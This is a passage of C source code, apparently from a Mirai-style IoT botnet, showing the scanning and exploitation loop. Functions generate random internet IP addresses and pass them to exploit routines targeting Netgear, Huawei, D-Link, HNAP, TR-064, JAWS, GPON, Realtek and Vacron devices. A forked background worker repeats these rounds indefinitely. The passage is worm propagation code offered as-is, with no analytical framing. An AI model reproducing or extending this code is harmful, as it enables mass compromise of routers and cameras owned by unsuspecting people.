sprintf(netgear_ip7, "%d.%d.%d.%d", ipState[24], ipState[25], ipState[26], ipState[27]);sprintf(netgear_ip8, "%d.%d.%d.%d", ipState[28], ipState[29], ipState[30], ipState[31]);
493
sprintf(netgear_ip9, "%d.%d.%d.%d", ipState[32], ipState[33], ipState[34], ipState[35]);sprintf(netgear_ip10, "%d.%d.%d.%d", ipState[36], ipState[37], ipState[38], ipState[39]);
494
495
exploit_socket_netgear(netgear_ip1);exploit_socket_netgear(netgear_ip2);exploit_socket_netgear(netgear_ip3);exploit_socket_netgear(netgear_ip4);exploit_socket_netgear(netgear_ip5);
496
exploit_socket_netgear(netgear_ip6);exploit_socket_netgear(netgear_ip7);exploit_socket_netgear(netgear_ip8);exploit_socket_netgear(netgear_ip9);exploit_socket_netgear(netgear_ip10);
497
}
498
499
void HUAWEI_IPGen()
500
{
501
char huawei_ip1[16] = {0};char huawei_ip2[16] = {0};char huawei_ip3[16] = {0};char huawei_ip4[16] = {0};char huawei_ip5[16] = {0};
502
503
srand(time(NULL));
504
ipState[0] = rand() % 233;ipState[1] = rand() % 255;ipState[2] = rand() % 255;ipState[3] = rand() % 255;ipState[4] = rand() % 233;
505
ipState[5] = rand() % 255;ipState[6] = rand() % 255;ipState[7] = rand() % 255;ipState[8] = rand() % 233;ipState[9] = rand() % 255;
506
ipState[10] = rand() % 255;ipState[11] = rand() % 255;ipState[12] = rand() % 233;ipState[13] = rand() % 255;ipState[14] = rand() % 255;
507
ipState[15] = rand() % 255;ipState[16] = rand() % 233;ipState[17] = rand() % 255;ipState[18] = rand() % 255;ipState[19] = rand() % 255;
508
509
sprintf(huawei_ip1, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);sprintf(huawei_ip2, "%d.%d.%d.%d", ipState[4], ipState[5], ipState[6], ipState[7]);
510
sprintf(huawei_ip3, "%d.%d.%d.%d", ipState[8], ipState[9], ipState[10], ipState[11]);sprintf(huawei_ip4, "%d.%d.%d.%d", ipState[12], ipState[13], ipState[14], ipState[15]);
511
sprintf(huawei_ip5, "%d.%d.%d.%d", ipState[16], ipState[17], ipState[18], ipState[19]);
512
513
exploit_socket_huawei(huawei_ip1);
514
exploit_socket_huawei(huawei_ip2);
515
exploit_socket_huawei(huawei_ip3);
516
exploit_socket_huawei(huawei_ip4);
517
exploit_socket_huawei(huawei_ip5);
518
}
519
520
void TR064_IPGen()
521
{
522
char tr_ip1[16] = {0};
523
524
srand(time(NULL));
525
ipState[0] = rand() % 233;ipState[1] = rand() % 255;
526
ipState[2] = rand() % 255;ipState[3] = rand() % 255;
527
528
sprintf(tr_ip1, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
529
530
exploit_socket_tr064(tr_ip1);
531
}
532
533
void HNAP_IPGen()
534
{
535
char hnap_ip1[16] = {0};
536
537
srand(time(NULL));
538
ipState[0] = rand() % 233;ipState[1] = rand() % 255;
539
ipState[2] = rand() % 255;ipState[3] = rand() % 255;
540
541
sprintf(hnap_ip1, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
542
543
exploit_socket_hnap(hnap_ip1);
544
}
545
546
void CROSSWEB_IPGen()
547
{
548
char crossweb_ip1[16] = {0};
549
550
srand(time(NULL));
551
ipState[0] = rand() % 233;ipState[1] = rand() % 255;
552
ipState[2] = rand() % 255;ipState[3] = rand() % 255;
553
554
sprintf(crossweb_ip1, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
555
556
exploit_socket_crossweb(crossweb_ip1);
557
}
558
559
void JAWS_IPGen()
560
{
561
char jaws_ip1[16] = {0};
562
563
srand(time(NULL));
564
ipState[0] = rand() % 233;ipState[1] = rand() % 255;
565
ipState[2] = rand() % 255;ipState[3] = rand() % 255;
566
567
sprintf(jaws_ip1, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
568
569
exploit_socket_jaws(jaws_ip1);
570
}
571
572
void DLINK_IPGen()
573
{
574
char dlink_ip1[16] = {0};
575
576
srand(time(NULL));
577
ipState[0] = rand() % 233;ipState[1] = rand() % 255;
578
ipState[2] = rand() % 255;ipState[3] = rand() % 255;
579
580
sprintf(dlink_ip1, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
581
582
exploit_socket_dlink(dlink_ip1);
583
}
584
585
void R7000_IPGen()
586
{
587
char r7000_ip1[16] = {0};
588
589
srand(time(NULL));
590
ipState[0] = rand() % 233;ipState[1] = rand() % 255;
591
ipState[2] = rand() % 255;ipState[3] = rand() % 255;
592
593
sprintf(r7000_ip1, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
594
595
exploit_socket_r7064(r7000_ip1);
596
}
597
598
void VARCON_IPGen()
599
{
600
char varcon_ip1[16] = {0};
601
602
srand(time(NULL));
603
ipState[0] = rand() % 233;ipState[1] = rand() % 255;
604
ipState[2] = rand() % 255;ipState[3] = rand() % 255;
605
606
sprintf(varcon_ip1, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
607
608
exploit_socket_vacron(varcon_ip1);
609
}
610
611
void exploit_worker(void)
612
{
613
int i = 0;
614
exploit_pid = fork();
615
616
if (exploit_pid > 0 || exploit_pid == -1)
617
return;
618
restart:
619
i++;
620
if (i > 10)
621
{
622
#ifdef DEBUG
623
printf("[sleep] active for 12 sec\n");
624
#endif
625
sleep(12);
626
i = i - 10;
627
goto restart;
628
}
629
usleep(300000);
630
GPON8080_IPGen();
631
usleep(300000);
632
GPON80_IPGen();
633
usleep(300000);
634
REALTEK_IPGen();
635
usleep(300000);
636
NETGEAR_IPGen();
637
usleep(300000);
638
HUAWEI_IPGen();
639
usleep(300000);
640
TR064_IPGen();
641
usleep(300000);
642
HNAP_IPGen();
643
usleep(300000);
644
CROSSWEB_IPGen();
645
usleep(300000);
646
JAWS_IPGen();
647
usleep(300000);
648
DLINK_IPGen();
649
usleep(300000);
650
R7000_IPGen();
651
usleep(300000);
652
VARCON_IPGen();
653
goto restart;
654
}
655
656
void exploit_kill(void)
657
{
658
kill(exploit_pid, 9);
659
}
660
661
#endif
662
663